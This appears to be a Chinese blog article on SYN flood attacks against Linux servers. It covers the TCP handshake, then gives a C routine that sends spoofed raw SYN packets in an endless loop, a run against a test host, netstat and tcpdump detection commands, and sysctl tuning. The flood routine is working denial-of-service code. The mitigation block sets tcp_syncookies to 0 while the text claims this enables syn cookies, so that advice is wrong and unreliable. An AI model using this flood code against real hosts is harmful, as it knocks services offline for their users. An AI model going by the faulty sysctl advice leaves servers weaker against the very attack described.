linux syn包 找进程,Linux下分析SYN flood***案例

近期遇到几例服务器被SYN***的问题，今天详细分析一下SYN flood***的原理，首先简单回顾一下TCP/IP三次握手的过程。

1. Host A 发送一个TCPSYNchronize 包到 Host B

2. Host B 收到 Host A的SYN

3. Host B 发送一个SYNchronize-ACKnowledgement

4. Host A 接收到Host B的SYN-ACK

5. Host A 发送ACKnowledge

6. Host B 接收到ACK

7.TCP socket 连接建立ESTABLISHED.

SYN flood(SYN洪水***)

在三次握手过程中，Host B发送SYN-ACK之后，收到Host A的ACK之前的TCP连接称为半连接(half-open connect).此时Host B处于SYN_RECV状态.当收到ACK后，Host B转入ESTABLISHED状态.

SYN***就是***端Host A在短时间内伪造大量不存在的伪IP地址，向Host B不断地发送SYN包，Host B回复确认包，并等待Host A的确认，由于源地址是不存在的，Host B需要不断的重发包直 至超时，这些伪造的SYN包将长时间占用未连接队列，正常的SYN请求被丢弃，目标系统运行缓慢，严重者引起网络堵塞甚至系统瘫痪。

SYN flood***是一种典型的DDos***。检测SYN***非常的方便，当你在服务器上看到大量的半连接状态时，特别是源IP地址是随机的，基本上可以断定这是一次SYN***.

我们可以用C语言写个程序模拟SYN flood***，以下为程序片段void flood(unsigned int src_host, unsigned int dst_host, unsigned short port)

{

struct

{

struct iphdr ip;

struct tcphdr tcp;

} packet;

struct

{

unsigned int source_address;

unsigned int dest_address;

unsigned char placeholder;

unsigned char protocol;

unsigned short tcp_length;

struct tcphdr tcp;

} pseudo_header;

int sock, sinlen;

struct sockaddr_in sin;

packet.ip.ihl = 5;

packet.ip.version = 4;

packet.ip.tos = 0;

packet.ip.tot_len = htons(40);

packet.ip.id = getpid();

packet.ip.frag_off = 0;

packet.ip.ttl = 255;

packet.ip.protocol = IPPROTO_TCP;

packet.ip.check = 0;

packet.ip.saddr = src_host;

packet.ip.daddr = dst_host;

packet.tcp.source = getpid();

packet.tcp.dest = htons(port);

packet.tcp.seq = getpid();

packet.tcp.ack_seq = 0;

packet.tcp.res1 = 0;

packet.tcp.doff = 5;

packet.tcp.fin = 0;

packet.tcp.syn = 1;

packet.tcp.rst = 0;

packet.tcp.psh = 0;

packet.tcp.ack = 0;

packet.tcp.urg = 0;

packet.tcp.window = htons(512);

packet.tcp.check = 0;

packet.tcp.urg_ptr = 0;

sin.sin_family = AF_INET;

sin.sin_port = packet.tcp.source;

sin.sin_addr.s_addr = packet.ip.daddr;

if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)

{

exit(1);

}

for(;;)

{

packet.tcp.source++;

packet.ip.id++;

packet.tcp.seq++;

packet.tcp.check = 0;

packet.ip.check = 0;

packet.ip.check = in_cksum((unsigned short *)&packet.ip, 20);

pseudo_header.source_address = packet.ip.saddr;

pseudo_header.dest_address = packet.ip.daddr;

pseudo_header.placeholder = 0;

pseudo_header.protocol = IPPROTO_TCP;

pseudo_header.tcp_length = htons(20);

bcopy((char *)&packet.tcp, (char *)&pseudo_header.tcp, 20);

packet.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);

sinlen = sizeof(sin);

sendto(sock, &packet, 40, 0, (struct sockaddr *)&sin, sinlen);

}

close(sock);

在Host A上执行***程序，伪装源IP成8.8.8.8(google DNS)，目标地址192.168.39.131的80端口

在Host B上netstat -an | grep  SYN_RECV可以看到产生大量SYN_RECV状态的连接

此时Host B收到包后连接为SYN_RECV状态，根据TCP/IP协议应该发送SYN_ACK回复给Host A，在Host B上使用tcpdump -i eth0 'tcp [13] & 2 =2'抓取，发现存在大量SYN_ACK状态的连接，

可惜源ip为伪装的地址，所以会超时重传。此时如有正常请求Host B的80端口，它的SYN包就会被Host B丢弃，因为半连接队列已经满了(耗尽内存以及CPU资源)，从而达到***目的。

Linux kernel也提供了Syncookies 等机制来防止syn***，以下是具体修改的内核参数。# default = 5

net.ipv4.tcp_syn_retries = 3

# default = 5

net.ipv4.tcp_synack_retries = 3

# default = 1024

net.ipv4.tcp_max_syn_backlog = 65536

# default = 124928

net.core.wmem_max = 8388608

# default = 131071

net.core.rmem_max = 8388608

# default = 128

net.core.somaxconn = 512

# default = 20480

net.core.optmem_max = 81920

# default = 1

net.ipv4.tcp_syncookies = 0

其中net.ipv4.tcp_synack_retries,net.ipv4.tcp_syncookies,net.ipv4.tcp_max_syn_backlog作用分别是减小SYN_ACK重传次数，启用syn cookie和增加半连接队列长度。

虽然系统能在当半连接队列满时，启用syn cookie功能，但也不是可以完全防御的。因为其一，Linux kernel的协议栈本身对此类DDos***的防御效有缺陷；其二，如果说***瞬间并发量足够大，毕竟Host B的CPU、内存资源是有限的，所以一般采用专业的硬件防火墙设备。